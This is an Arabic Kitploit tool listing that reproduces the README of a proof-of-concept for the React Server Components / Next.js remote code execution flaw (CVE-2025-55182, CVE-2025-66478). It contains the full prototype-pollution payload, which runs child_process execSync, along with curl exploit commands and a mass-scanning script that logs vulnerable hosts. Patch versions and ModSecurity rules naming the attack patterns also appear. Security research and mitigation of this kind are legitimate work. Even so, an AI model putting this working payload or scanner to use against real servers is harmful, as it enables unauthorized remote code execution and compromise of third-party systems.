Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182-POC — الحد الأدنى من النموذج القابل للتطبيق (MVP) لإعادة إنتاج ثغرات React2Shell (CVE-2025-55182) و Next.js RSC RCE (CVE-2025-66478). يتضمن حمولة الاستغلال، سكريبت الفحص الجماعي، وقواعد ModSecurity WAF للتخفيف. | Kitploit
أدوات/GitHubGitHub/huahuai23/cve-2025-55182-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

الحد الأدنى من النموذج القابل للتطبيق (MVP) لإعادة إنتاج ثغرات React2Shell (CVE-2025-55182) و Next.js RSC RCE (CVE-2025-66478). يتضمن حمولة الاستغلال، سكريبت الفحص الجماعي، وقواعد ModSecurity WAF للتخفيف.

عرض المستودع
1منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-55182 / CVE-2025-66478 بيئة إعادة إنتاج الثغرات

هذا هو الحد الأدنى من MVP لإعادة إنتاج ثغرات React2Shell (CVE-2025-55182) و Next.js RSC RCE (CVE-2025-66478).

⚠️ تحذير

هذا المشروع مخصص لأغراض البحث الأمني والتعليم فقط. لا تستخدمه في بيئات الإنتاج أو على أنظمة غير مصرح بها.

نظرة عامة على الثغرات

CVE-2025-55182 هي ثغرة خطيرة في مكونات خادم React (React Server Components) تؤثر على:

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: ≥14.3.0-canary.77, ≥15, ≥16

يمكن للمهاجم استغلال ثغرة إلغاء التسلسل (deserialization) في بروتوكول Flight عبر طلب multipart/form-data مُصمم خصيصًا، مما يتيح تنفيذ الأوامر عن بُعد (RCE).

آلية الهجوم

  1. الحصول على مرجع Chunk: استخدام بناء $@N للحصول على كائن Chunk داخلي
  2. تلويث سلسلة النماذج الأولية (Prototype Pollution): حقن دالة then ضارة عبر $1:__proto__:then
  3. تشغيل التنفيذ: استدعاء دالة then الملوثة عند await في Server Action
  4. اختطاف المنشئ (Constructor Hijacking): اختطاف _formData.get كمنشئ Function
  5. تنفيذ الأكواد: تنفيذ أي كود عبر إلغاء تسلسل Blob

البدء السريع

1. تثبيت التبعيات

root@kitploit:~
npm install
# أو
yarn install
# أو
pnpm install

2. تشغيل خادم التطوير

root@kitploit:~
npm run dev

سيبدأ الخادم على http://localhost:3000.

3. اختبار الثغرة

استخدم سكريبت الاختبار المقدم:

root@kitploit:~
# اختبار هدف واحد
./test-exploit.sh http://localhost:3000

# أو استخدم curl مباشرة
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit-payload.txt

إذا كانت الثغرة موجودة، سترى في الاستجابة مخرجات مشابهة لـ uid= (نتيجة تنفيذ أمر id).

هيكل الملفات

root@kitploit:~
.
├── app/
│   ├── actions.ts              # Server Actions (نقطة تشغيل الثغرة)
│   ├── page.tsx                # الصفحة الرئيسية
│   ├── layout.tsx              # التخطيط
│   └── globals.css             # الأنماط العامة
├── package.json                # إعدادات التبعيات (باستخدام الإصدارات المتأثرة)
├── next.config.js              # إعدادات Next.js
├── test-exploit.sh             # سكريبت اختبار الثغرة لهدف واحد
├── scan-targets.sh             # سكريبت المسح الجماعي
├── exploit-payload.txt         # ملف حمولة الاستغلال
├── Cve-2025-55182-modsecurity-rules.conf      # قواعد ModSecurity للحماية
└── README.md                   # هذا الملف

شرح سكريبتات الاختبار

1. test-exploit.sh - اختبار هدف واحد

يختبر ما إذا كان عنوان URL واحد يحتوي على الثغرة:

root@kitploit:~
chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000

السمة: إذا كان الرد يحتوي على uid= أو gid=، فهذا يدل على وجود الثغرة.

2. scan-targets.sh - المسح الجماعي

مسح أهداف متعددة:

root@kitploit:~
# إنشاء ملف قائمة الأهداف
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF

# تنفيذ المسح الجماعي
chmod +x scan-targets.sh
./scan-targets.sh targets.txt

سيتم حفظ نتائج المسح في vulnerable_hosts.csv.

تحليل بنية الحمولة (Payload)

root@kitploit:~
{
  "then": "$1:__proto__:then",           // اختطاف دالة then
  "status": "resolved_model",             // التحكم في مسار التنفيذ
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",      // تشغيل إلغاء تسلسل Blob
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"  // اختطاف كـ Function
    }
  }
}

النقاط الرئيسية:

  1. $@0: الإشارة إلى حقل form-data الأول، للحصول على كائن Chunk
  2. $1:proto:then: الوصول إلى Chunk.prototype.then
  3. _response._prefix: الكود الضار المحقون (سيتم تنفيذه بواسطة منشئ Function)
  4. $1:constructor:constructor: Object.constructor.constructor = Function

خطط الإصلاح

الخيار 1: الترقية إلى الإصدارات المُصلحة (موصى به)

  • React: 19.0.1, 19.1.2, 19.2.1 أو أحدث
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 أو أحدث
root@kitploit:~
npm install [email protected] [email protected] [email protected]

الخيار 2: نشر قواعد ModSecurity WAF (تخفيف مؤقت)

إذا تعذر الترقية فورًا، يمكن نشر قواعد ModSecurity كتخفيف مؤقت.

Apache + mod_security

root@kitploit:~
# 1. تثبيت mod_security
sudo apt-get install libapache2-mod-security2

# 2. نسخ ملف القواعد
sudo cp modsecurity-rules.conf /etc/modsecurity/

# 3. تضمين القواعد في إعدادات Apache
sudo vim /etc/apache2/mods-enabled/security2.conf
# أضف: Include /etc/modsecurity/modsecurity-rules.conf

# 4. إعادة تشغيل Apache
sudo systemctl restart apache2

Nginx + ModSecurity

root@kitploit:~
# 1. تثبيت ModSecurity لـ Nginx
sudo apt-get install libnginx-mod-security

# 2. نسخ ملف القواعد
sudo cp modsecurity-rules.conf /etc/nginx/modsec/

# 3. تفعيله في إعدادات Nginx
sudo vim /etc/nginx/nginx.conf
# في كتلة http أو server أضف:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;

# 4. إعادة تشغيل Nginx
sudo systemctl restart nginx

ميزات الكشف بالقواعد

ستعترض قواعد ModSecurity الميزات التالية:

  • ✅ خصائص بروتوكول Flight ($@N, $BN)
  • ✅ تلويث سلسلة النماذج الأولية (__proto__, constructor:constructor)
  • ✅ استدعاء وحدات Node.js الخطيرة (process.mainModule.require, require('child_process'))
  • ✅ دوال تنفيذ الأوامر (execSync, exec)
  • ✅ التعامل مع الكائنات الداخلية (_response, _chunks, _formData, _prefix)
  • ✅ رؤوس طلبات Server Action (Next-Action, RSC-Action-ID)

⚠️ ملاحظة: قواعد WAF هي إجراء تخفيف مؤقت فقط، ولا توفر حماية كاملة. الترقية إلى الإصدارات المُصلحة ضرورية.

توصيات أمنية

إذا كان تطبيقك قد يتأثر:

  1. الاختبار الفوري: استخدم سكريبت test-exploit.sh لاختبار تطبيقك
  2. الترقية الفورية: قم بالترقية إلى الإصدارات المُصلحة
  3. تدوير المفاتيح: قم بتدوير جميع المتغيرات البيئية ومفاتيح API وكلمات مرور قاعدة البيانات
  4. مراجعة السجلات: تحقق من سجلات الوصول بحثًا عن طلبات Next-Action مشبوهة
  5. نشر WAF: قبل الترقية، انشر قواعد ModSecurity كحماية مؤقتة

أمر curl للاختبار السريع

إذا كنت تريد اختبار curl مباشرة (بدون سكريبت):

root@kitploit:~
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  --data-binary @exploit-payload.txt

إذا كانت النتيجة تحتوي على uid= أو gid=، فالثغرة موجودة.

المراجع

  • الإعلان الرسمي من Vercel
  • GHSA الخاصة بـ React
  • GHSA الخاصة بـ Next.js
  • PoC لـ CVE (React)
  • ماسح CVE (Next.js)
  • وثائق ModSecurity

شكر وتقدير

  • Lachlan Davidson - لاكتشاف الثغرة وإبلاغها بمسؤولية
  • فريق Meta Security & React Team
  • فريق Vercel

الترخيص

هذا المشروع مخصص للأغراض التعليمية فقط. يُرجى الالتزام بالقوانين واللوائح ذات الصلة عند استخدام هذا الكود.

تنزيل الأداة